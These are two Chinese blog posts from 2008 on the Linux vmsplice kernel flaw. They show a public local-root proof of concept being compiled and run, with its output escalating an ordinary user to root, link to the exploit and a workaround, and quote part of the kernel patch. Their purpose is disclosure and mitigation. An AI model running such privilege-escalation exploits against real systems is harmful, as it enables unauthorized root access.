Linux系统安全
vmsplice内核漏洞的临时性补救方法
星期二, 02月 19th, 2008关于前面的一篇vmsplice的漏洞,
我在ubuntu的bug报告 那里看到了一个临时性的补救方法。
slasher-fun 放出的一个方法:
Download http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
$gcc disable-vmsplice-if-exploitable.c -o disable-vmsplice-if-exploitable
leros@leros-desktop:/tmp$ ./disable-vmsplice-if-exploitable
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
Run as root to minimize risk of crashing system
Press Enter to proceed as normal user. Press Ctrl-C to abort.
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: [...]
vmsplice内核漏洞
星期二, 02月 19th, 200808年2月9日,Linux内核爆出了一个vmsplice的漏洞。开始我还不以为意。
直至wind发给我检测代码: millw0rm’s的技术验证代码
执行:(想要体验这个漏洞的残酷性,把上面链接的代码下载回来,自己
用gcc编译一下跑一次)
leros@leros-desktop:/tmp$ whoami
leros
leros@leros-desktop:/tmp$ ./destroy
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7d6e000 .. 0xb7da0000
[+] root
root@leros-desktop:/tmp# whoami
root
就这样把root权限给溢出了。真是触目惊心啊。
这个漏洞影响的内核版本从2.6.17到2.6.24.1.
可怕的是,到现在ubuntu 7.10 似乎也没有更新补丁。 而各位Ubuntu
的使用者似乎也不太在意。这更是让人害怕啊。
当前在Ubuntu下也许只能自己编译内核打补丁来搞定这个BUG,
或者再等两天,等官方源更新。(难道真是这个BUG的风险度还不够高?)
下面是补丁中的代码,不用打补丁了,直接对着代码改改
编译内核吧。
— a/fs/splice.c
+++ b/fs/splice.c
@@ -1234,7 +1234,7 @@ static int get_iovec_page_array(const struct iovec __user *iov,
[...]